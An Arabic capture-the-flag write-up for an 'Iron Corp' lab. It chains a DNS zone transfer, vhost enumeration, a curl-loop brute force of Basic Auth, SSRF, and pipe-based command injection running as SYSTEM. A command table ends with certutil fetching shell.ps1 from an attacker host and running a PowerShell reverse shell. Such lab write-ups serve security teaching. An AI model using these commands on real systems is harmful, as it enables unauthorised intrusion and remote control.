Iron Corp سلسلة اختراق نظيفة من غير أي Privilege Escalation تقليدي — لأن أول Code Execution بتحصل عليه أصلاً بصلاحيات SYSTEM مباشرة. بورت 8080 (Dashtreme Dashboard) Dead End — القصة كلها على بورت 11025 اللي بيستضيف 3 تطبيقات مختلفة عن طريق Host header routing.
من Zone Transfer لحد SYSTEM shell بدون أي PrivEsc إضافي
Nmap يكشف DNS (53)، IIS Dashboard على 8080 (دكوريشن، Dead End)، وApache 2.4.41 + PHP 7.4.4 على بورت 11025 — ده السطح الحقيقي.
nmap -sC -sV -p-Port 11025 (Apache)dig axfr يكشف كل الـ DNS records من غير تقييد — admin.ironcorp.me وinternal.ironcorp.me الاتنين متوجهين على 127.0.0.1.
dig axfr ironcorp.meLoopback subdomains leakedApache على 11025 بيوزّع 3 تطبيقات بـ Host header: الافتراضي “Coming Soon”، admin.ironcorp.me (401 Basic Auth)، internal.ironcorp.me (403 IP-restricted).
Host header routing401 / 403 responsesHydra العادي فشل بسبب مشكلة في تمرير custom headers، فالحل كان loop بـ curl بيمرر Host header مباشرة مع wordlist شائع.
curl loop + Host header10k-most-common.txtلوحة admin فيها رابط داخلي مسرّب (internal.ironcorp.me/name.php?name=) وبارامتر r مموّه بنجمة — تجربته بيرجع محتوى من الخدمة الداخلية.
r= parameter (SSRF)internal.ironcorp.me/name.phpحرف الـ Pipe (|) جوه بارامتر name بيتنفذ كأمر نظام — الرد بيرجع nt authority\system، يعني Code Execution بصلاحيات SYSTEM من أول ضربة.
name=test|whoamiRCE → SYSTEM directالـ PowerShell cradles العادية بتتكسر بسبب رموز خاصة في طبقة الـ SSRF relay، فالحل تهريب على مرحلتين بـ certutil لتنزيل وتشغيل سكريبت PowerShell.
certutil -urlcache -split -fPowerShell reverse shell 🏆| الأمر | الوصف | المرحلة |
|---|---|---|
| dig axfr ironcorp.me @<TARGET_IP> | طلب Zone Transfer كامل من DNS السيرفر | DNS |
| gobuster vhost -u http://ironcorp.me:11025 | تعداد Virtual Hosts إضافية | Enum |
| while read p; do curl -u admin:$p -H “Host: admin.ironcorp.me” …; done | كسر Basic Auth بـ loop بديل عن Hydra | Brute |
| curl –get –data-urlencode “r=http://internal.ironcorp.me:11025/name.php?name=test” | تأكيد وجود SSRF في بارامتر r | SSRF |
| name=test|whoami | حقن أمر نظام عبر السلسلة الداخلية | RCE |
| certutil -urlcache -split -f http://IP:8000/shell.ps1 C:\Windows\Temp\s.ps1 | تنزيل الـ payload متجاوز رموز خاصة بتكسر الـ relay | Shell |
| powershell C:\Windows\Temp\s.ps1 | تشغيل الـ reverse shell | Shell |
اكتشاف Apache الحقيقي على بورت 11025
كشف admin.ironcorp.me وinternal.ironcorp.me
الحصول على بيانات دخول لوحة admin
بارامتر r وتأكيد الوصول للخدمة الداخلية
حقن الأمر عبر بارامتر name وتأكيد صلاحيات SYSTEM
تهريب PowerShell بـ certutil وجمع الفلاجين